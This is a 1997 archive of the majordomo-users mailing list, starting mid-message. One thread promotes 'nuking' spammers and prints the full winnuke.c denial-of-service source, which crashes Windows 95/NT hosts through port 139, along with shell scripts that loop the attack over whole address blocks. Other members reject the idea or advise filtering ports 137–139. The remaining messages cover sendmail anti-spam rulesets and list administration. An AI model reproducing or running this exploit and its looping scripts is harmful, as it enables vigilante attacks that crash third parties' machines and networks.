except use the spammer's real IP number that you found. You should see something like the following: % ./winnuke 192.168.12.109 Connected to [192.168.12.109:139]. Sending crash... Done! % Congratulations! You just nuked a spammer! Give yourself a pat on the back. You can ping the IP address to verify that it is actually down. If it doesn't work... Unfortunately a few spammers don't have just one IP address but a whole block (255 addresses) In this case you will need to nuke the entire block. To do this, use the nukeloop script. #!/bin/sh # # nuke - If pingable, then winnuke. # cd /usr/src/winnuke ip=$1 if [ "$ip" = "" ]; then echo "Usage: nuke " fi failed=0 ping -c 1 $ip 2>/dev/null | grep "^64 bytes" >/dev/null || failed=1 if [ $failed = 1 ]; then echo Already down else ./winnuke $ip fi #!/bin/sh # # nukeloop - Nuke a network from lo-addr through hi-addr # network=$1 if [ "$2" = "" ]; then loaddr=1 else loaddr=$2 fi if [ "$3" = "" ]; then hiaddr=254 else hiaddr=$3 fi if [ "$network" = "" ]; then echo "Usage: nukeloop " fi while [ 1 ]; do number=$loaddr while [ $number -le $hiaddr ]; do # echo $number number=$[ $number + 1 ] ip=$network.$number failed=0 ping -c 1 $ip 2>/dev/null | grep "^64 bytes" >/dev/null || failed=1 if [ $failed = 0 ]; then ./winnuke $network.$number >/dev/null 2>/dev/null & fi done done From owner-majordomo-users-outgoing Tue Jun 3 16:16:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00262 for majordomo-users-outgoing; Tue, 3 Jun 1997 16:14:31 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id QAA00231 for ; Tue, 3 Jun 1997 16:14:17 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id QAA17344; Tue, 3 Jun 1997 16:13:22 -0700 From: Kynn Bartlett Message-Id: <199706032313.QAA17344@ayla.idyllmtn.com> Subject: Re: Anti-Spammer Tool To: temp@mail.kesl.net (Account for a Temp) Date: Tue, 3 Jun 1997 16:13:22 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: <199706032223.HAA25800@kesl.kesl.net> from "Account for a Temp" at Jun 4, 97 07:23:58 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Lovely. What an idiotic suggestion. --Kynn From owner-majordomo-users-outgoing Tue Jun 3 16:31:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00200 for majordomo-users-outgoing; Tue, 3 Jun 1997 16:14:09 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00177 for ; Tue, 3 Jun 1997 16:13:58 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id SAA00839; Tue, 3 Jun 1997 18:17:18 -0500 (CDT) To: "system PRIVILEGED account- John F. Marten" Cc: majordomo-users@GreatCircle.COM Subject: Re: Summary: Op. Sys.err, and a ? References: <9706032157.AA02054@tigger.oslc.org> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Jun 1997 18:17:18 -0500 In-Reply-To: "system PRIVILEGED account- John F. Marten"'s message of Tue, 3 Jun 1997 14:57:44 -0700 Message-ID: Lines: 9 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "JM" == system PRIVILEGED account- John F Marten writes: JM> DC: "|/usr/local/majordomo/wrapper resend -l DC -h tigger2.org -s JM> DC-outgoing" Stick to lower case only for your list names and you'll be much happier. Also, get rid of the '-s' and use the config file to turn administrivia on. - J< From owner-majordomo-users-outgoing Tue Jun 3 16:37:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00601 for majordomo-users-outgoing; Tue, 3 Jun 1997 16:17:27 -0700 (PDT) Received: from mail.MCESTATE.COM (mail.MCESTATE.COM [207.211.200.50]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00573 for ; Tue, 3 Jun 1997 16:17:14 -0700 (PDT) Received: from localhost (vince@localhost) by mail.MCESTATE.COM (8.8.5/8.8.5) with SMTP id QAA03122; Tue, 3 Jun 1997 16:20:49 -0700 (PDT) Date: Tue, 3 Jun 1997 16:20:49 -0700 (PDT) From: Vincent Poy To: Account for a Temp cc: majordomo-users@GreatCircle.COM Subject: Re: Anti-Spammer Tool In-Reply-To: <199706032223.HAA25800@kesl.kesl.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 4 Jun 1997, Account for a Temp wrote: =)How to use WinNuke to get rid of spammers =) =) =)winnuke.c is a program which will crash any Windows 95/NT machine. =)Since this operating system is popular among spammers, winnuke makes it easy =)to get rid of them. =) =)Compile winnuke.c it by typing: =) gcc winnuke.c -o winnuke =)If you have SunOS, you may need to use this command instead: =) gcc winnuke.c -lsocket -lnsl -o winnuke Now, just where would one get the winnuke.c program? Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] From owner-majordomo-users-outgoing Tue Jun 3 16:45:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA00954 for majordomo-users-outgoing; Tue, 3 Jun 1997 16:20:11 -0700 (PDT) Received: from kesl.kesl.net (www.cag.co.kr [203.251.176.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA00913 for ; Tue, 3 Jun 1997 16:19:58 -0700 (PDT) Received: (from temp@localhost) by kesl.kesl.net (8.8.4/8.6.10) id IAA31517 for majordomo-users@GreatCircle.COM; Wed, 4 Jun 1997 08:19:45 +0900 Date: Wed, 4 Jun 1997 08:19:45 +0900 From: Account for a Temp Message-Id: <199706032319.IAA31517@kesl.kesl.net> To: majordomo-users@GreatCircle.COM Subject: Anti-Spammer Tool Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #define dport 139 /* Attack port: 139 is what we want */ int x, s; char *str = "Bye"; /* Makes no diff */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(500000); printf("Done!\n"); close(s); } From owner-majordomo-users-outgoing Tue Jun 3 17:01:52 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA04861 for majordomo-users-outgoing; Tue, 3 Jun 1997 16:48:10 -0700 (PDT) Received: from mailhub.Stanford.EDU (mailhub.Stanford.EDU [36.21.0.128]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA04813 for ; Tue, 3 Jun 1997 16:48:00 -0700 (PDT) Received: from [171.64.76.140] (Cervantes.Stanford.EDU [171.64.76.140]) by mailhub.Stanford.EDU (8.8.5/8.8.5/L) with ESMTP id QAA07246 for ; Tue, 3 Jun 1997 16:51:36 -0700 (PDT) X-Sender: wbarr@popserver.stanford.edu Message-Id: In-Reply-To: <199706032313.QAA17344@ayla.idyllmtn.com> References: <199706032223.HAA25800@kesl.kesl.net> from "Account for a Temp" at Jun 4, 97 07:23:58 am Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 3 Jun 1997 16:59:58 -0700 To: majordomo-users@GreatCircle.COM From: "William P. Barr" Subject: Re: Anti-Spammer Tool Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>winnuke.c is a program which will crash any Windows 95/NT machine. >>Since this operating system is popular among spammers, winnuke makes it easy >>to get rid of them. >Lovely. What an idiotic suggestion. Actually, if it works, the only truly idiotic thing is that the target operating systems allow the script to work in the first place! As for the original suggestion, it looks like spam to me ... -- William Barr, Stanford Computer Forum wbarr@leland.stanford.edu Listowner: butler-sql, harpoon, phoenix-command, tacops, z-scale, n-scale@lists.stanford.edu "My opinions are mine and only mine." From owner-majordomo-users-outgoing Tue Jun 3 17:41:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA07826 for majordomo-users-outgoing; Tue, 3 Jun 1997 17:08:12 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA07801 for ; Tue, 3 Jun 1997 17:08:04 -0700 (PDT) Received: from Uucp1.mcs.net (Uucp1.mcs.net [192.160.127.93]) by Kitten.mcs.com (8.8.5/8.8.2) with SMTP id TAA24245 for ; Tue, 3 Jun 1997 19:11:44 -0500 (CDT) Received: by Uucp1.mcs.net (/\==/\ Smail3.1.28.1 #28.17) id ; Tue, 3 Jun 97 19:08 CDT Received: from gibbs.pr.mcs.net (david [192.168.1.1]) by midrange.com (8.7.5/8.7.3) with SMTP id SAA21389 for ; Tue, 3 Jun 1997 18:39:57 -0500 Message-Id: <3.0.2.32.19970603184529.006e315c@midrange> X-Sender: david@midrange X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 b4 (32) Date: Tue, 03 Jun 1997 18:45:29 -0500 To: majordomo-users@GreatCircle.COM From: David Gibbs Subject: MJ 2.0 (was: Re: Sendmail.cf request question) In-Reply-To: References: <3.0.1.32.19970603125101.0095cb00@mail.webcoach.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 03:34 PM 6/3/97 -0500, Jason L Tibbitts III wrote: > Or wait for 2.0, which also has no outgoing aliases. Speaking of which... is there a list of changes for version 2.0 that we might take a peek at? Just out of curosity... :) david -- | Internet: david@midrange.com | WWW: http://www.mcs.net/~gibbs | AOL: DMGibbs | | ... A man can move mountians, a world can be turned, | and the greatest of distances easily spanned, | When the strength that's invested in making a fist | is transformed into shaking a hand. | | - DMRoth umidr From owner-majordomo-users-outgoing Tue Jun 3 17:45:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA12092 for majordomo-users-outgoing; Tue, 3 Jun 1997 17:35:21 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA12077 for ; Tue, 3 Jun 1997 17:35:15 -0700 (PDT) Received: from Venus.mcs.net (les@Venus.mcs.net [192.160.127.92]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id TAA26165; Tue, 3 Jun 1997 19:38:56 -0500 (CDT) Received: (from les@localhost) by Venus.mcs.net (8.8.5/8.8.2) id TAA09793; Tue, 3 Jun 1997 19:38:56 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706040038.TAA09793@Venus.mcs.net> Subject: Re: Support of old config methods, list-owners To: rayjones@praline.no.neosoft.com (Ray Jones) Date: Tue, 3 Jun 1997 19:38:55 -0500 (CDT) Cc: Majordomo-Users@GreatCircle.COM In-Reply-To: from "Ray Jones" at Jun 3, 97 04:50:41 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > On Tue, 3 Jun 1997, Bill Silvert wrote: > > > The problem is that list-owners are selected for their involvement with > > the subject, not necessarily for their mastery of computers. My greatest > > concern about MD is that list administration is really too complicated > > for most of the people who I think should be doing the job, so I end up > > managing almost all our lsits myself. > > What do you find so hard about md list administration? Though I've been > into computers and electronic communications for around 17 years, I've > never thought of myself as being a tech. I don't see anything hard about > the list administration itself. I might not be able to set up majordomo > itself, but I have no problem administering the list itself and don't see > why anyone with a modicum of common sense would either. Have you actually succeeded in teaching a group of people who are experts in their own non-computer fields how to operate a list? Or kept them happy by doing everything they wanted for them? > It certainly seems simple enough to me. Suiting yourself is easy... Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Tue Jun 3 18:15:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA16871 for majordomo-users-outgoing; Tue, 3 Jun 1997 18:05:47 -0700 (PDT) Received: from gemini.uninet.net.id (gemini.uninet.net.id [202.145.0.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA16854 for ; Tue, 3 Jun 1997 18:05:39 -0700 (PDT) Received: from localhost (muljawan@localhost) by gemini.uninet.net.id (8.8.5/8.8.5) with SMTP id IAA12628; Wed, 4 Jun 1997 08:08:30 +0700 (GMT) Date: Wed, 4 Jun 1997 08:08:30 +0700 (GMT) From: muljawan hendrianto X-Sender: muljawan@gemini To: "Jeremy T. Bouse" cc: Mogens Gilmour , majordomo-users@GreatCircle.COM Subject: Re: Sendmail.cf request question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Jeremy T. Bouse wrote: > I run my machine with the noexpn,novrfy as I have found several > spam mailers trying to use these as methods to comb for accounts to spam. > I have also setup check_mail and check_rcpt rulesets to the sendmail.cf to > allow me to block those email addresses and/or domains and stop people > from using me as a relay host... I am interested to know more about the check_mail and check_rcpt rulesets in sendmail.cf, are these a separate program which can be used by sendmail? thanks, muljawan <---------------------------------------------------------------> Muljawan Hendrianto NOC, PT. UniNET Media Sakti, +62 21 5702074, +62 21 5704021(FAX) muljawan@uninet.net.id http://www.uninet.net.id/~muljawan <---------------------------------------------------------------> From owner-majordomo-users-outgoing Tue Jun 3 18:45:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id SAA20078 for majordomo-users-outgoing; Tue, 3 Jun 1997 18:38:13 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id SAA20052 for ; Tue, 3 Jun 1997 18:38:04 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id UAA06074; Tue, 3 Jun 1997 20:45:09 -0500 Date: Tue, 3 Jun 1997 20:45:08 -0500 (CDT) From: "Jeremy T. Bouse" To: muljawan hendrianto cc: Mogens Gilmour , majordomo-users@GreatCircle.COM Subject: Re: Sendmail.cf request question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Wed, 4 Jun 1997, muljawan hendrianto wrote: > > On Tue, 3 Jun 1997, Jeremy T. Bouse wrote: > > > I run my machine with the noexpn,novrfy as I have found several > > spam mailers trying to use these as methods to comb for accounts to spam. > > I have also setup check_mail and check_rcpt rulesets to the sendmail.cf to > > allow me to block those email addresses and/or domains and stop people > > from using me as a relay host... > > I am interested to know more about the check_mail and check_rcpt rulesets > in sendmail.cf, are these a separate program which can be used by > sendmail? > > thanks, > muljawan > check_mail and check_rcpt are functions in sendmail... All you do is define them as a ruleset just like any other ruleset and it checks check_mail when sendmail receives a "MAIL FROM:" command and check_rcpt is check'd when sendmail receives a "RCPT TO:" command... then you have your extra config files for what specific email addresses to block and what domains to block entirely... along with the file for Local IPs that you accept email for. Jeremy Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP ID/Fingerprint: 0xE83D9AE5/4ACC 03F0 98D7 8198 19D0 593E 50E5 97E9 Thought to ponder : All a hacker needs is a tight PUSHJ, a loose pair of UUOs, and a warm place to shift. ICQ UIN #303078 NIC Whois: JB5713 NEW PGP Key... available on key server at keys.pgp.com -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5TIpeak13roPZrlAQHk1QP9Ep69k4KxvTHPl1w2/1jZgDMomw3e+wYG TrRS/AO3Jgc9rNeVNgKBlgkyZSJ6ebO6F20SFAtxGXxmxBhg10NzgfK7uZJho08G 2qOIntpIBk/YybiuKxp44i5USBIN9/lKwaVIoIB/HN3w8yEuHIoBJinwkoDxNwnE s+0IdqfAImw= =siIk -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Tue Jun 3 20:10:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA27143 for majordomo-users-outgoing; Tue, 3 Jun 1997 19:57:04 -0700 (PDT) Received: from senie.com (senie.com [204.69.207.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id TAA27134 for ; Tue, 3 Jun 1997 19:56:55 -0700 (PDT) Received: (qmail 23734 invoked from network); 4 Jun 1997 03:00:16 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 4 Jun 1997 03:00:16 -0000 Date: Tue, 3 Jun 1997 23:00:15 -0400 (EDT) From: Daniel Senie To: "William P. Barr" cc: majordomo-users@GreatCircle.COM Subject: Re: Anti-Spammer Tool In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, William P. Barr wrote: > >>winnuke.c is a program which will crash any Windows 95/NT machine. > >>Since this operating system is popular among spammers, winnuke makes it easy > >>to get rid of them. > > >Lovely. What an idiotic suggestion. > > Actually, if it works, the only truly idiotic thing is that the target > operating systems allow the script to work in the first place! As for the > original suggestion, it looks like spam to me ... I've been recommending for some time that folks filter ALL TCP and UDP traffic with port numbers 137, 138 and 139 in BOTH incoming and outgoing directions at their firewall router. Microsoft's netbios over IP code is quite vulnerable... --------------------------------------------------------------- Daniel Senie Internet: dan@senie.com, Daniel Senie Consulting n1jeb@senie.com http://www.senie.com From owner-majordomo-users-outgoing Tue Jun 3 21:37:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA01738 for majordomo-users-outgoing; Tue, 3 Jun 1997 21:16:02 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA01725 for ; Tue, 3 Jun 1997 21:15:53 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id XAA10748; Tue, 3 Jun 1997 23:19:28 -0500 (CDT) Date: Tue, 3 Jun 1997 23:19:28 -0500 (CDT) From: Ray Jones To: Knotwork Admin cc: Majordomo Users Subject: Re: Support of old config methods, list-owners In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Knotwork Admin wrote: > Yeah well think again techboy, 'cause you sure 'nuff are quite the little > techie. Many's the time I've seen you answer questions on this list quite > technically. 17 years. Give the newbies a break. Try 17 minutes or 17 > hours or even 17 days. > > Techie you are, sorry. Or nerd if you prefer? Maybe I am, but compared to the guys I associate with (including many on this list), I don't know squat. (grin) -- Regards, "Big Ray the Buggy Driver" Jones - Licensed Tour Guide Disseminating information about New Orleans worldwide via my web page at http://www.neosoft.com/~rayjones/welcome.html or you can join "Big Ray's" New Orleans Mailing List by sending: subscribe noml To: majordomo@communique.net From owner-majordomo-users-outgoing Tue Jun 3 21:44:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA02146 for majordomo-users-outgoing; Tue, 3 Jun 1997 21:27:21 -0700 (PDT) Received: from fugue.chatham.org (fugue.chatham.org [206.160.163.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA02139 for ; Tue, 3 Jun 1997 21:27:16 -0700 (PDT) Received: from fugue.chatham.org (localhost [127.0.0.1]) by fugue.chatham.org (8.8.5/8.8.5) with SMTP id XAA06877; Tue, 3 Jun 1997 23:30:20 -0500 Message-ID: <3394EF5B.6DFCE6E8@chatham.org> Date: Tue, 03 Jun 1997 23:30:19 -0500 From: "Dale J. Chatham" X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.23 i586) MIME-Version: 1.0 To: Mark Rauterkus CC: majordomo-users@GreatCircle.COM Subject: Re: Script to trim bounces list References: <199706011739.LAA15580@sportsurf.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Mark Rauterkus wrote: > > Hi Vincent, > > Less than 12 hours ago I posted a note to this list about Smartbounce. > Smartbounce isn't free as far as unlimited use. However, list-owners of > one list can use the "light-version" for free. > At $600 to be able to process over three lists, this product is hideously expensive. I host a few lists for non-profit groups and you've got to be kidding. Surely somoene on this list has answered this problem without having to sell the farm to afford it. > Mark Rauterkus, Publisher, S.S.S. > > mrauterkus@sportsurf.net > -------------- -- _ (__________) ``Necessity is the plea for every infringement _.| |_ /( oo of human freedom. It is the argument of tyrants; \. } /\_| it is the creed of slaves.'' \_( William Pitt, Earl of Chatham speech in the House of Lords, November 18, 1783 Dale J. Chatham, WA5WNI dale@chatham.org Member PETA (People Eating Tasty Animals) http://www.chatham.org From owner-majordomo-users-outgoing Tue Jun 3 22:00:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA03684 for majordomo-users-outgoing; Tue, 3 Jun 1997 21:53:52 -0700 (PDT) Received: from krumm.commline.com (krumm.commline.com [207.78.30.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA03677 for ; Tue, 3 Jun 1997 21:53:46 -0700 (PDT) Received: from [153.34.65.179] (1Cust24.Max10.Newark.NJ.MS.UU.NET [153.34.65.152]) by krumm.commline.com (8.8.5/8.8.3) with ESMTP id BAA09283 for ; Wed, 4 Jun 1997 01:05:17 -0400 (EDT) Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-HomePage: http://www.commline.com/brian/ Date: Wed, 4 Jun 1997 00:57:30 -0400 To: majordomo-users@GreatCircle.COM From: "Brian L. Heess - home" Subject: Re: Anti-Spammer Tool Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 23:00 -0400 03/06/97, Daniel Senie wrote: >> Actually, if it works, the only truly idiotic thing is that the target >> operating systems allow the script to work in the first place! As for the >> original suggestion, it looks like spam to me ... > >I've been recommending for some time that folks filter ALL TCP and UDP >traffic with port numbers 137, 138 and 139 in BOTH incoming and outgoing >directions at their firewall router. Microsoft's netbios over IP code is >quite vulnerable... Yeah, I actually did this a while ago on a plain old Cisco 2501... Now, to save my mailing lists I need to filter out all of those spammer IP's... Ugh. I really screwed it up last weekend. Does anybody here already have a good list of ip's/domains or anything that would useful in blocking that spam attacks (as they relate to mailing lists). Even better, the cisco configs for them, since I am quite proficient in murdering my routers... Doing it at the router actually save a lot of stress on the mailing list server, which is a good thing! Saves time, spool space, CPU usage, everything. It'd relatively speed up your delivery process, too. I've had those whatever@savetrees.com and all the rest of them hit my lists. Cheers! -Brian -- dmbong@commline.com -- Brian L. Heess, brian@thru.net | Office: 201.288.1136 Fax: 201.288.0213 VP Tech / http://www.thru.net | Home: 201.387.2574 or 201.287.0739 Vanguard InterActive, Inc. | brian@commline.com http://www.commline.com co-founder: EarthLink Network | brian@earthlink.net http://www.earthlink.net From owner-majordomo-users-outgoing Wed Jun 4 07:30:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA19014 for majordomo-users-outgoing; Wed, 4 Jun 1997 07:13:45 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA18951 for ; Wed, 4 Jun 1997 07:13:31 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA05770 for ; Wed, 4 Jun 1997 10:17:20 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA23765; Wed, 4 Jun 1997 10:17:20 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Anti-Spammer Tool References: <199706032223.HAA25800@kesl.kesl.net> X-No-Archive: yes Date: 04 Jun 1997 10:17:19 -0400 In-Reply-To: Account for a Temp's message of Wed, 4 Jun 1997 07:23:58 +0900 Message-ID: Lines: 27 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Instant spam blocker: # m4 /usr/local/src/sendmail-8.8.5/cf/m4/cf.m4 sendmail.mc > sendmail.cf # note: add to ruleset 98: # R$* < @$*$=K . > $* $#error $@ 5.7.1 $: "This domain is banned." # R$* < @$*$=K > $* $#error $@ 5.7.1 $: "This domain is banned." # and define a class K by: # FK /etc/banned.domains -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5V47Z6VRH7BJMxHAQG8vAP+PcJTHdcvsPyO1kepmCcgYvGGsxlKEzyI db6rRwAOVoo7LBwDGPMLQz3zV/skNoImc9qa8dO0YdF1d0w777VDIuD3Y/C2d6LZ OZl8pkqTdYaoTcsqPGiRkoIDGx74F8st3y9mj7QhqaCW4bikL8Kk9yWaPFD79u4N iYHJXS2Zc7w= =WUmT -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball may stick to certain Prescient Technologies, Inc. | types of skin. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Wed Jun 4 07:42:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA18871 for majordomo-users-outgoing; Wed, 4 Jun 1997 07:12:44 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA18861 for ; Wed, 4 Jun 1997 07:12:38 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA05740 for ; Wed, 4 Jun 1997 10:16:27 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA23734; Wed, 4 Jun 1997 10:16:27 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Support of old config methods, list-owners References: <199706040038.TAA09793@Venus.mcs.net> X-No-Archive: yes Date: 04 Jun 1997 10:16:26 -0400 In-Reply-To: Leslie Mikesell's message of Tue, 3 Jun 1997 19:38:55 -0500 (CDT) Message-ID: Lines: 31 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: LM> Have you actually succeeded in teaching a group of people who are LM> experts in their own non-computer fields how to operate a list? LM> Or kept them happy by doing everything they wanted for them? And I know nothing about hotrodding a Corvette. If I wanted to do it (and I had a Corvette to do it with :) I would either put the time and effort into learning how to do it myself. Same thing with list administration: if you want to do it yourself then put the time and effort into learning how to do it. Neither hotrodding a car nor list administration are rocket science; anyone with at least half a brain can learn how to do either. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5V4t56VRH7BJMxHAQHVWQP/TEM1g4Sx0Uw31mjL4RedkrdqUhGcguHs DoFX3V1ORE7vwLvP0zqTRSSrKn4CHXYpm+by3WgLsAznh/Fu6KLKA2HMUCVjPuy8 sc3e5kYOJrmwPpexGXRAyVkdXrIAKK7xsDqtygpsqxGSPvl/qv1kPNvXDgdBq85E lEc6Rtjy2fo= =Wi/c -----END PGP SIGNATURE----- -- Rich Pieri | If Happy Fun Ball begins to smoke, Prescient Technologies, Inc. | get away immediately. Seek shelter A Stone & Webster Company | and cover head. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Wed Jun 4 07:45:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA20611 for majordomo-users-outgoing; Wed, 4 Jun 1997 07:35:56 -0700 (PDT) Received: from sh1.ro.com (sh1.ro.com [205.216.92.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA20603 for ; Wed, 4 Jun 1997 07:35:48 -0700 (PDT) Received: from dev1 (dev1.ro.com 